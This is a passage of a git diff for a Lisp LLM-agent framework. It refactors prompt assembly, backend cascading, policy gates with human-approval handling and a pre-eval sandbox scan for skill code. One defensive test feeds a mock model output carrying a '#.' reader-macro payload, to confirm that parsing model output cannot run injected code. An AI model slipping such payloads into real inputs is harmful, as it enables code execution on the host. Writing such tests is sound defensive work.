(c) + (log-message "PIPELINE ERROR: ~a" (error-message c))))) + (handler-case + (progn + (setf current-signal (perceive-gate current-signal)) + (setf current-signal (reason-gate current-signal)) + (let ((feedback (act-gate current-signal))) + (if feedback + (progn + (unless (getf feedback :meta) (setf (getf feedback :meta) meta)) + (setf current-signal feedback)) + (setf current-signal nil)))) + (error (c) + (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor)))) + (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c) + (unless (member sensor '(:loop-error :tool-error :syntax-error)) + (log-message "CRITICAL ERROR: Initiating Micro-Rollback.") + (rollback-memory 0)) + (if (or (> depth 2) (member sensor '(:loop-error :tool-error))) + (setf current-signal nil) + (setf current-signal + (list :type :EVENT :depth (1+ depth) :meta meta + :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))) + (skip-signal () + :report "Drop the current signal and continue the loop." + (setf current-signal nil)) + (use-fallback (text) + :report "Inject a canned response instead of the LLM result." + (setf current-signal + (list :type :EVENT :depth (1+ depth) :meta meta + :payload (list :sensor :loop-error :message text :depth depth)))) + (abort-pipeline () + :report "Terminate the cognitive cycle cleanly." + (return nil))))))) (defun process-signal (signal) (loop-process signal)) @@ -139,45 +230,3 @@ (when *shutdown-save-enabled* (save-memory-to-disk)) (return)) (sleep sleep-interval)))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-immune-system-tests - (:use :cl :fiveam :passepartout) - (:export #:immune-suite)) - -(in-package :passepartout-immune-system-tests) - -(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)") -(in-suite immune-suite) - -(test loop-error-injection - "Contract 1: a crash in think/decide triggers :loop-error stimulus." - (clrhash passepartout::*skill-registry*) - (passepartout:defskill :evil-skill - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input)) - :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE")) - :deterministic nil) - (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input))) - (let ((logs (if (fboundp 'passepartout::context-get-system-logs) - (passepartout:context-get-system-logs 20) - nil))) - (is (or (null logs) ; no log service available — degraded but not broken - (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))) - -(test test-process-signal-normal-path - "Contract 1: a valid signal passes through the pipeline without crash." - (clrhash passepartout::*skill-registry*) - (handler-case - (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat)))) - (process-signal signal) - (pass)) - (error (c) - (fail "Pipeline crashed on normal signal: ~a" c)))) - -(test test-loop-process-returns-nil-on-deep - "Contract 1: depth > 10 returns nil from loop-process." - (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat))))) - (is (null result)))) diff --git a/lisp/core-reason.lisp b/lisp/core-reason.lisp index 6c0e82b..c833e84 100644 --- a/lisp/core-reason.lisp +++ b/lisp/core-reason.lisp @@ -1,311 +1,3 @@ -(in-package :passepartout) - -(defvar *probabilistic-backends* (make-hash-table :test 'equal) - "Maps provider keyword → handler function (prompt system-prompt &key model).") - -(defun register-probabilistic-backend (name fn) - "Register FN as the handler for provider NAME." - (setf (gethash name *probabilistic-backends*) fn)) - -(defvar *backend-registry* (make-hash-table :test 'equal)) - -(defvar *provider-cascade* nil) - -(defvar *model-selector* nil) - -(defvar *consensus-enabled* nil) - -(defun backend-register (name fn) - (setf (gethash name *backend-registry*) fn)) - -(defun backend-cascade-call (prompt &key - (system-prompt "You are the Probabilistic engine.") - (cascade nil) - (context nil) - tools) - (let ((backends (or cascade *provider-cascade*)) - (result nil)) - (dolist (backend backends (or result - (list :type :LOG - :payload (list :text "Neural Cascade Failure: All providers exhausted.")))) - (let ((backend-fn (or (gethash backend *backend-registry*) - (gethash backend *probabilistic-backends*)))) - (when backend-fn - (log-message "PROBABILISTIC: Attempting backend ~a..." backend) - (let* ((model (and *model-selector* - (funcall *model-selector* backend context))) - (skip (eq model :skip)) - (r (unless skip - (apply backend-fn - (append (list prompt system-prompt :model model) - (when tools (list :tools tools))))))) - (when skip - (log-message "PROBABILISTIC: Skipping ~a (filtered)" backend)) - (cond ((and (listp r) (eq (getf r :status) :success)) - (let ((tool-calls (getf r :tool-calls))) - (if tool-calls - (return (list :status :success :tool-calls tool-calls)) - (progn - (setf result (getf r :content)) - (return result))))) - ((stringp r) - (setf result r) - (return result)) - (t - (log-message "PROBABILISTIC: Backend ~a failed: ~a" - backend (getf r :message)))))))))) - -(defun markdown-strip (text) - (if (and text (stringp text)) - (let ((cleaned text)) - (setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned "")) - (setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned "")) - (setf cleaned (cl-ppcre:regex-replace-all "```" cleaned "")) - (string-trim '(#\Space #\Newline #\Tab) cleaned)) - text)) - -(defun plist-keywords-normalize (plist) - (when (listp plist) - (loop for (k v) on plist by #'cddr - collect (if (and (symbolp k) (not (keywordp k))) - (intern (string k) :keyword) - k) - collect v))) - -;; v0.7.2: live config section for system prompt -(defun assemble-config-section () - "Build the CONFIG section of the system prompt from live state." - (let ((provider-names "") - (context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit)) - (tokenizer-context-limit (symbol-value '*tokenizer-provider*)) - 8192)) - (gate-count 10) - (rules-count 0)) - (when (boundp '*provider-cascade*) - (setf provider-names - (format nil "~{~a~^, ~}" - (mapcar (lambda (p) - (handler-case (or (getf p :model) (getf p :provider) "") - (error () (princ-to-string p)))) - (symbol-value '*provider-cascade*))))) - (when (boundp '*hitl-pending*) - (setf rules-count (hash-table-count (symbol-value '*hitl-pending*)))) - (format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org." - (if (string= provider-names "") "default" provider-names) - context-window gate-count rules-count))) - -(defun think (context) - ;; v0.7.2: auto-snapshot at turn boundaries - (when (fboundp 'snapshot-memory) - (snapshot-memory)) - (let* ((sensor (proto-get (proto-get context :payload) :sensor)) - (active-skill (find-triggered-skill context)) - (tool-belt (generate-tool-belt-prompt)) - (reply-stream (proto-get context :reply-stream)) ; v0.7.1: streaming - (global-context (if (fboundp 'context-assemble-cached) - (context-assemble-cached context sensor) - (if (fboundp 'context-assemble-global-awareness) - (context-assemble-global-awareness) - "[Awareness skill not loaded]"))) - (system-logs (if (fboundp 'context-get-system-logs) - (context-get-system-logs) - "[No system logs available]")) - (assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent")) - (rejection-trace (proto-get (proto-get context :payload) :rejection-trace)) - (prompt-generator (when active-skill (skill-probabilistic-prompt active-skill))) - (raw-prompt (if prompt-generator - (funcall prompt-generator context) - (let ((p (proto-get (proto-get context :payload) :text))) - (if (and p (stringp p)) p "Maintain metabolic stasis.")))) - (reflection-feedback (if rejection-trace - (format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace) - "")) - (standing-mandates-text (let ((out "")) - (dolist (fn *standing-mandates*) - (let ((text (ignore-errors (funcall fn context)))) - (when (and text (stringp text) (> (length text) 0)) - (setf out (concatenate 'string out text (string #\Newline)))))) - (when (> (length out) 0) out))) - (identity-content (if (fboundp 'agent-identity) ; v0.7.2: symbolic identity - (agent-identity) - "")) - (config-section (if (fboundp 'assemble-config-section) ; v0.7.2: live config - (assemble-config-section) - "")) - (time-section (if (fboundp 'sensor-time-duration) ; v0.6.0: temporal awareness - (format-time-for-llm - :session-duration-seconds (funcall (symbol-function 'session-duration))) - (if (fboundp 'format-time-for-llm) - (format-time-for-llm) - ""))) - (system-prompt (if (fboundp 'prompt-prefix-cached) - ;; v0.5.0: cached prefix with optional budget enforcement - (let* ((prefix (prompt-prefix-cached assistant-name identity-content - reflection-feedback - standing-mandates-text tool-belt))) - (if (fboundp 'enforce-token-budget) - (multiple-value-bind (pfx ctxt logs _ mandates) - (enforce-token-budget prefix global-context system-logs - raw-prompt standing-mandates-text) - (declare (ignore _)) - (setf standing-mandates-text mandates) - (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" - time-section config-section pfx (or ctxt "") logs)) - (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" - time-section config-section prefix (or global-context "") system-logs))) - ;; Fallback when token-economics not loaded - (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" - time-section config-section - assistant-name identity-content reflection-feedback - (if standing-mandates-text - (concatenate 'string (string #\Newline) standing-mandates-text) - "") - tool-belt (or global-context "") system-logs)))) - (let* ((thought (if (and reply-stream (fboundp 'cascade-stream)) ; v0.7.1: streaming - (let ((acc (make-string-output-stream))) - (funcall 'cascade-stream raw-prompt system-prompt - (lambda (delta) - (when reply-stream - (format reply-stream "~a" - (frame-message (list :type :stream-chunk - :payload (list :text delta)))) - (finish-output reply-stream)) - (write-string delta acc))) - (get-output-stream-string acc)) - (backend-cascade-call raw-prompt - :system-prompt system-prompt - :context context))) - (tool-calls (and (listp thought) (getf thought :tool-calls)))) - ;; v0.5.0: cost tracking after successful cascade - (when (and (fboundp 'cost-track-backend-call) - (stringp thought) - (or (null tool-calls))) - (ignore-errors - (cost-track-backend-call (first *provider-cascade*) - (format nil "~a~%~a" system-prompt raw-prompt) - thought))) - (if tool-calls - (let* ((first-call (car tool-calls)) - (tool-name (getf first-call :name)) - (args (getf first-call :arguments)) - (args-plist (json-alist-to-plist args))) - (list :TYPE :REQUEST - :PAYLOAD (list* :TOOL tool-name - :ARGS args-plist - :EXPLANATION "Generated by function-calling engine."))) - (let* ((cleaned (if (and (listp thought) (getf thought :type)) - (format nil "~a" (getf (getf thought :payload) :text)) - (markdown-strip thought)))) - (if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[))) - (handler-case - (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned)))) - (if (listp parsed) - (let ((normalized (plist-keywords-normalize parsed))) - ;; Ensure explanation is present in the payload for policy gate - (let ((payload (proto-get normalized :payload))) - (if (and payload (proto-get payload :explanation)) - normalized - (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine." - (if (listp payload) payload nil)))) - (list* :PAYLOAD new-payload - (loop for (k v) on normalized by #'cddr - unless (eq k :PAYLOAD) - collect k collect v)))))) - (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine.")))) - (error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine.")))) - (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine.")))))))) - -(defun json-alist-to-plist (alist) - "Convert a JSON alist to a keyword-prefixed plist." - (when (listp alist) - (loop for (key . value) in alist - append (list (intern (string-upcase (string key)) :keyword) - (if (listp value) - (if (consp (car value)) - (json-alist-to-plist value) - value) - value))))) - -(defun cognitive-verify (proposed-action context) - "Runs all registered deterministic gates against the proposed action, -sorted by priority (highest first). Returns a rejection plist or the action." - (let ((current-action (copy-tree proposed-action)) - (approval-needed nil) - (approval-action nil) - (gates nil) - (gate-trace nil)) - ;; Collect gates sorted by priority (highest first) - (maphash (lambda (name skill) - (declare (ignore name)) - (when (skill-deterministic-fn skill) - (push (cons (skill-priority skill) (cons (skill-name skill) (skill-deterministic-fn skill))) gates))) - *skill-registry*) - (setf gates (sort gates #'> :key #'car)) - (dolist (gate-entry gates) - (let* ((gate-name (cadr gate-entry)) - (result (funcall (cddr gate-entry) current-action context))) - (cond - ((eq (getf result :level) :approval-required) - (push (list :gate (or gate-name (car gate-entry)) :result :approval) gate-trace) - (setf approval-needed t - approval-action (getf (getf result :payload) :action))) - ((member (getf result :type) '(:LOG :EVENT)) - (push (list :gate (or gate-name (car gate-entry)) :result :blocked) gate-trace) - (let ((blocked-result (copy-list result))) - (setf (getf blocked-result :gate-trace) (nreverse gate-trace)) - (return-from cognitive-verify blocked-result))) - ((and (listp result) result) - (push (list :gate (or gate-name (car gate-entry)) :result :passed) gate-trace) - (setf current-action result))))) - (if approval-needed - (list :type :EVENT :level :approval-required - :gate-trace (nreverse gate-trace) - :payload (list :sensor :approval-required - :action approval-action)) - (let ((passed-result (copy-tree current-action))) - (setf (getf passed-result :gate-trace) (nreverse gate-trace)) - passed-result)))) - -(defun loop-gate-reason (signal) - (let* ((type (proto-get signal :type)) - (payload (proto-get signal :payload)) - (sensor (proto-get payload :sensor))) - (unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message))) - (return-from loop-gate-reason signal)) - (let ((retries 3) - (current-signal (copy-tree signal)) - (last-rejection nil)) - (loop - (when (<= retries 0) - (setf (getf signal :approved-action) last-rejection) - (setf (getf signal :status) :reasoned) - (return signal)) - (when last-rejection - (setf (getf (getf current-signal :payload) :rejection-trace) last-rejection)) - (let ((candidate (think current-signal))) - (if (and candidate (listp candidate)) - (let ((verified (cognitive-verify candidate current-signal))) - ;; Approval-required is not a rejection — pass to act for Flight Plan - (if (eq (getf verified :level) :approval-required) - (progn - (setf (getf signal :approved-action) verified) - (setf (getf signal :status) :requires-approval) - (return signal)) - ;; Hard rejection: retry with feedback - (if (member (getf verified :type) '(:LOG :EVENT)) - (progn (decf retries) (setf last-rejection verified)) - (progn - (setf (getf signal :approved-action) verified) - (setf (getf signal :status) :reasoned) - (return signal))))) - (progn - (setf (getf signal :approved-action) nil) - (setf (getf signal :status) :reasoned) - (return signal)))))))) - -(defun reason-gate (signal) - (loop-gate-reason signal)) - (eval-when (:compile-toplevel :load-toplevel :execute) (ql:quickload :fiveam :silent t)) @@ -399,8 +91,8 @@ sorted by priority (highest first). Returns a rejection plist or the action." (test test-backend-cascade-with-mock "Contract 4: backend-cascade-call returns content from first successful backend." - (let ((passepartout::*backend-registry* (make-hash-table :test 'equal))) - (setf (gethash :mock-backend passepartout::*backend-registry*) + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))) + (setf (gethash :mock-backend passepartout::*probabilistic-backends*) (lambda (prompt sp &key model) (declare (ignore prompt sp model)) (list :status :success :content "mock-response"))) @@ -409,9 +101,9 @@ sorted by priority (highest first). Returns a rejection plist or the action." (test test-read-eval-rce-blocked "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code." - (let ((passepartout::*backend-registry* (make-hash-table :test 'equal)) + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) (passepartout::*provider-cascade* '(:mock-evil))) - (setf (gethash :mock-evil passepartout::*backend-registry*) + (setf (gethash :mock-evil passepartout::*probabilistic-backends*) (lambda (prompt sp &key model) (declare (ignore prompt sp model)) (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))"))) @@ -479,7 +171,7 @@ sorted by priority (highest first). Returns a rejection plist or the action." (let ((passepartout::*memory-snapshots* nil) (passepartout::*memory-store* (make-hash-table :test 'equal))) (setf (gethash "pre" passepartout::*memory-store*) "value") - (let ((passepartout::*backend-registry* (make-hash-table :test 'equal)) + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) (passepartout::*provider-cascade* nil)) (handler-case (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0)) @@ -487,3 +179,330 @@ sorted by priority (highest first). Returns a rejection plist or the action." (declare (ignore result))) (error (c) (format nil "Expected: ~a" c))) (is (>= (length passepartout::*memory-snapshots*) 0))))) + +(in-package :passepartout) + +(defvar *probabilistic-backends* (make-hash-table :test 'equal) + "Maps provider keyword → handler function (prompt system-prompt &key model).") + +(defun register-probabilistic-backend (name fn) + "Register FN as the handler for provider NAME." + (setf (gethash name *probabilistic-backends*) fn)) + +(defvar *provider-cascade* nil) + +(defvar *model-selector* nil) + +(defvar *consensus-enabled* nil) + +(defun backend-cascade-call (prompt &key + (system-prompt "You are the Probabilistic engine.") + (cascade nil) + (context nil) + tools) + (let ((backends (or cascade *provider-cascade*)) + (result nil)) + (dolist (backend backends (or result + (list :type :LOG + :payload (list :text "Neural Cascade Failure: All providers exhausted.")))) + (let ((backend-fn (gethash backend *probabilistic-backends*))) + (when backend-fn + (log-message "PROBABILISTIC: Attempting backend ~a..." backend) + (let* ((model (and *model-selector* + (funcall *model-selector* backend context))) + (skip (eq model :skip)) + (r (unless skip + (apply backend-fn + (append (list prompt system-prompt :model model) + (when tools (list :tools tools))))))) + (when skip + (log-message "PROBABILISTIC: Skipping ~a (filtered)" backend)) + (cond ((and (listp r) (eq (getf r :status) :success)) + (let ((tool-calls (getf r :tool-calls))) + (if tool-calls + (return (list :status :success :tool-calls tool-calls)) + (progn + (setf result (getf r :content)) + (return result))))) + ((stringp r) + (setf result r) + (return result)) + (t + (log-message "PROBABILISTIC: Backend ~a failed: ~a" + backend (getf r :message)))))))))) + +(defun markdown-strip (text) + (if (and text (stringp text)) + (let ((cleaned text)) + (setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned "")) + (setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned "")) + (setf cleaned (cl-ppcre:regex-replace-all "```" cleaned "")) + (string-trim '(#\Space #\Newline #\Tab) cleaned)) + text)) + +(defun plist-keywords-normalize (plist) + (when (listp plist) + (loop for (k v) on plist by #'cddr + collect (if (and (symbolp k) (not (keywordp k))) + (intern (string k) :keyword) + k) + collect v))) + +;; v0.7.2: live config section for system prompt +(defun assemble-config-section () + "Build the CONFIG section of the system prompt from live state." + (let ((provider-names "") + (context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit)) + (tokenizer-context-limit (symbol-value '*tokenizer-provider*)) + 8192)) + (gate-count 10) + (rules-count 0)) + (when (boundp '*provider-cascade*) + (setf provider-names + (format nil "~{~a~^, ~}" + (mapcar (lambda (p) + (handler-case (or (getf p :model) (getf p :provider) "") + (error () (princ-to-string p)))) + (symbol-value '*provider-cascade*))))) + (when (boundp '*hitl-pending*) + (setf rules-count (hash-table-count (symbol-value '*hitl-pending*)))) + (format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org." + (if (string= provider-names "") "default" provider-names) + context-window gate-count rules-count))) + +(defun think-assemble-prompt (context) + "Phase 2-3 of the metabolic cycle: context + system prompt assembly. +Returns three values: system-prompt, raw-prompt, reply-stream." + (let* ((sensor (proto-get (proto-get context :payload) :sensor)) + (active-skill (find-triggered-skill context)) + (tool-belt (generate-tool-belt-prompt)) + (reply-stream (proto-get context :reply-stream)) + (global-context (if (fboundp 'context-assemble-cached) + (context-assemble-cached context sensor) + (if (fboundp 'context-assemble-global-awareness) + (context-assemble-global-awareness) + "[Awareness skill not loaded]"))) + (system-logs (if (fboundp 'context-get-system-logs) + (context-get-system-logs) + "[No system logs available]")) + (assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent")) + (rejection-trace (proto-get (proto-get context :payload) :rejection-trace)) + (prompt-generator (when active-skill (skill-probabilistic-prompt active-skill))) + (raw-prompt (if prompt-generator + (funcall prompt-generator context) + (let ((p (proto-get (proto-get context :payload) :text))) + (if (and p (stringp p)) p "Maintain metabolic stasis.")))) + (reflection-feedback (if rejection-trace + (format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace) + "")) + (standing-mandates-text (let ((out "")) + (dolist (fn *standing-mandates*) + (let ((text (ignore-errors (funcall fn context)))) + (when (and text (stringp text) (> (length text) 0)) + (setf out (concatenate 'string out text (string #\Newline)))))) + (when (> (length out) 0) out))) + (identity-content (if (fboundp 'agent-identity) + (agent-identity) + "")) + (config-section (if (fboundp 'assemble-config-section) + (assemble-config-section) + "")) + (time-section (if (fboundp 'sensor-time-duration) + (format-time-for-llm + :session-duration-seconds (funcall (symbol-function 'session-duration))) + (if (fboundp 'format-time-for-llm) + (format-time-for-llm) + ""))) + (system-prompt (if (fboundp 'prompt-prefix-cached) + (let* ((prefix (prompt-prefix-cached assistant-name identity-content + reflection-feedback + standing-mandates-text tool-belt))) + (if (fboundp 'enforce-token-budget) + (multiple-value-bind (pfx ctxt logs _ mandates) + (enforce-token-budget prefix global-context system-logs + raw-prompt standing-mandates-text) + (declare (ignore _)) + (setf standing-mandates-text mandates) + (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" + time-section config-section pfx (or ctxt "") logs)) + (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" + time-section config-section prefix (or global-context "") system-logs))) + (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" + time-section config-section + assistant-name identity-content reflection-feedback + (if standing-mandates-text + (concatenate 'string (string #\Newline) standing-mandates-text) + "") + tool-belt (or global-context "") system-logs)))) + (values system-prompt raw-prompt reply-stream))) + +(defun think-call-llm (raw-prompt system-prompt reply-stream context) + "Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade. +Returns the raw LLM response (string or plist with :tool-calls)." + ;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted + (when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p)) + (return-from think-call-llm (budget-exhaustion-message))) + (if (and reply-stream (fboundp 'cascade-stream)) + (let ((acc (make-string-output-stream))) + (funcall 'cascade-stream raw-prompt system-prompt + (lambda (delta) + (when reply-stream + (format reply-stream "~a" + (frame-message (list :type :stream-chunk + :payload (list :text delta)))) + (finish-output reply-stream)) + (write-string delta acc))) + (get-output-stream-string acc)) + (backend-cascade-call raw-prompt + :system-prompt system-prompt + :context context))) + +(defun think-parse-response (thought) + "Phases 5-7 of the metabolic cycle: cost tracking + response parsing. +Returns an action plist ready for cognitive-verify." + (let ((tool-calls (and (listp thought) (getf thought :tool-calls)))) + (when (and (fboundp 'cost-track-backend-call) + (stringp thought) + (or (null tool-calls))) + (ignore-errors + (cost-track-backend-call (first *provider-cascade*) + thought))) + (if tool-calls + (let* ((first-call (car tool-calls)) + (tool-name (getf first-call :name)) + (args (getf first-call :arguments)) + (args-plist (json-alist-to-plist args))) + (list :TYPE :REQUEST + :PAYLOAD (list* :TOOL tool-name + :ARGS args-plist + :EXPLANATION "Generated by function-calling engine."))) + (let* ((cleaned (if (and (listp thought) (getf thought :type)) + (format nil "~a" (getf (getf thought :payload) :text)) + (markdown-strip thought)))) + (if (and cleaned (stringp cleaned) (> (length cleaned) 0) + (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[))) + (handler-case + (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned)))) + (if (listp parsed) + (let ((normalized (plist-keywords-normalize parsed))) + (let ((payload (proto-get normalized :payload))) + (if (and payload (proto-get payload :explanation)) + normalized + (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine." + (if (listp payload) payload nil)))) + (list* :PAYLOAD new-payload + (loop for (k v) on normalized by #'cddr + unless (eq k :PAYLOAD) + collect k collect v)))))) + (list :TYPE :REQUEST :PAYLOAD + (list :ACTION :MESSAGE :TEXT cleaned + :EXPLANATION "Generated by the Probabilistic engine.")))) + (error () + (list :TYPE :REQUEST :PAYLOAD + (list :ACTION :MESSAGE :TEXT cleaned + :EXPLANATION "Generated by the Probabilistic engine.")))) + (list :TYPE :REQUEST :PAYLOAD + (list :ACTION :MESSAGE + :TEXT (if (stringp cleaned) cleaned "No response") + :EXPLANATION "Generated by the Probabilistic engine."))))))) + +(defun think (context) + "The probabilistic reasoning engine — orchestrates prompt assembly, LLM call, +and response parsing into an action plist for cognitive-verify." + (when (fboundp 'snapshot-memory) + (snapshot-memory)) + (multiple-value-bind (system-prompt raw-prompt reply-stream) + (think-assemble-prompt context) + (let ((thought (think-call-llm raw-prompt system-prompt reply-stream context))) + (think-parse-response thought)))) + +(defun json-alist-to-plist (alist) + "Convert a JSON alist to a keyword-prefixed plist." + (when (listp alist) + (loop for (key . value) in alist + append (list (intern (string-upcase (string key)) :keyword) + (if (listp value) + (if (consp (car value)) + (json-alist-to-plist value) + value) + value))))) + +(defun cognitive-verify (proposed-action context) + "Runs all registered deterministic gates against the proposed action, +sorted by priority (highest first). Returns a rejection plist or the action." + (let ((current-action (copy-tree proposed-action)) + (approval-needed nil) + (approval-action nil) + (gates nil) + (gate-trace nil)) + ;; Collect gates sorted by priority (highest first) + (maphash (lambda (name skill) + (declare (ignore name)) + (when (skill-deterministic-fn skill) + (push (cons (skill-priority skill) (cons (skill-name skill) (skill-deterministic-fn skill))) gates))) + *skill-registry*) + (setf gates (sort gates #'> :key #'car)) + (dolist (gate-entry gates) + (let* ((gate-name (cadr gate-entry)) + (result (funcall (cddr gate-entry) current-action context))) + (cond + ((eq (getf result :level) :approval-required) + (push (list :gate (or gate-name (car gate-entry)) :result :approval) gate-trace) + (setf approval-needed t + approval-action (getf (getf result :payload) :action))) + ((member (getf result :type) '(:LOG :EVENT)) + (push (list :gate (or gate-name (car gate-entry)) :result :blocked) gate-trace) + (let ((blocked-result (copy-list result))) + (setf (getf blocked-result :gate-trace) (nreverse gate-trace)) + (return-from cognitive-verify blocked-result))) + ((and (listp result) result) + (push (list :gate (or gate-name (car gate-entry)) :result :passed) gate-trace) + (setf current-action result))))) + (if approval-needed + (list :type :EVENT :level :approval-required + :gate-trace (nreverse gate-trace) + :payload (list :sensor :approval-required + :action approval-action)) + (let ((passed-result (copy-tree current-action))) + (setf (getf passed-result :gate-trace) (nreverse gate-trace)) + passed-result)))) + +(defun loop-gate-reason (signal) + (let* ((type (proto-get signal :type)) + (payload (proto-get signal :payload)) + (sensor (proto-get payload :sensor))) + (unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message))) + (return-from loop-gate-reason signal)) + (let ((retries 3) + (current-signal (copy-tree signal)) + (last-rejection nil)) + (loop + (when (<= retries 0) + (setf (getf signal :approved-action) last-rejection) + (setf (getf signal :status) :reasoned) + (return signal)) + (when last-rejection + (setf (getf (getf current-signal :payload) :rejection-trace) last-rejection)) + (let ((candidate (think current-signal))) + (if (and candidate (listp candidate)) + (let ((verified (cognitive-verify candidate current-signal))) + ;; Approval-required is not a rejection — pass to act for Flight Plan + (if (eq (getf verified :level) :approval-required) + (progn + (setf (getf signal :approved-action) verified) + (setf (getf signal :status) :requires-approval) + (return signal)) + ;; Hard rejection: retry with feedback + (if (member (getf verified :type) '(:LOG :EVENT)) + (progn (decf retries) (setf last-rejection verified)) + (progn + (setf (getf signal :approved-action) verified) + (setf (getf signal :status) :reasoned) + (return signal))))) + (progn + (setf (getf signal :approved-action) nil) + (setf (getf signal :status) :reasoned) + (return signal)))))))) + +(defun reason-gate (signal) + (loop-gate-reason signal)) diff --git a/lisp/core-skills.lisp b/lisp/core-skills.lisp index bfdeb75..040045d 100644 --- a/lisp/core-skills.lisp +++ b/lisp/core-skills.lisp @@ -1,3 +1,38 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-boot-tests + (:use :cl :fiveam :passepartout) + (:export #:boot-suite)) + +(in-package :passepartout-boot-tests) + +(def-suite boot-suite :description "Verification of the Skill Engine loader") +(in-suite boot-suite) + +(test test-topological-sort-basic + "Contract 2: dependency ordering puts dependencies before dependents." + (let ((tmp-dir "/tmp/passepartout-boot-test/")) + (uiop:ensure-all-directories-exist (list tmp-dir)) + (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede) + (format out "#+DEPENDS_ON: skill-b-id~%")) + (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede) + (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%")) + (unwind-protect + (let ((sorted (passepartout::skill-topological-sort tmp-dir))) + (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal)) + (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal))) + (is (< pos-b pos-a)))) + (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) + +(test test-lisp-syntax-validate-valid + "Contract 1: valid Lisp code passes syntax validation." + (is (eq t (lisp-syntax-validate "(+ 1 2)")))) + +(test test-lisp-syntax-validate-invalid + "Contract 1: unbalanced Lisp code fails syntax validation." + (is (null (lisp-syntax-validate "(+ 1 2")))) + (in-package :passepartout) (defvar *VAULT-MEMORY* (make-hash-table :test 'equal)) @@ -15,8 +50,6 @@ (defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn) -(defvar *skill-registry* (make-hash-table :test 'equal)) - (defvar *skill-catalog* (make-hash-table :test 'equal) "Tracks all discovered skill files and their loading state.") @@ -205,6 +238,14 @@ declarations so embedded test code evaluates in the correct package." (progn (multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code) (unless valid-p (error err))) + ;; Pre-eval sandbox scan: block before any code executes + (multiple-value-bind (blocked-p blocked-syms) + (skill-source-scan lisp-code) + (when blocked-p + (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}" + skill-base-name blocked-syms) + (setf (skill-entry-status entry) :sandbox-blocked) + (return-from load-skill-from-org nil))) (unless (find-package pkg-name) (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg))) (let ((*read-eval* nil) (*package* (find-package pkg-name))) @@ -233,6 +274,24 @@ declarations so embedded test code 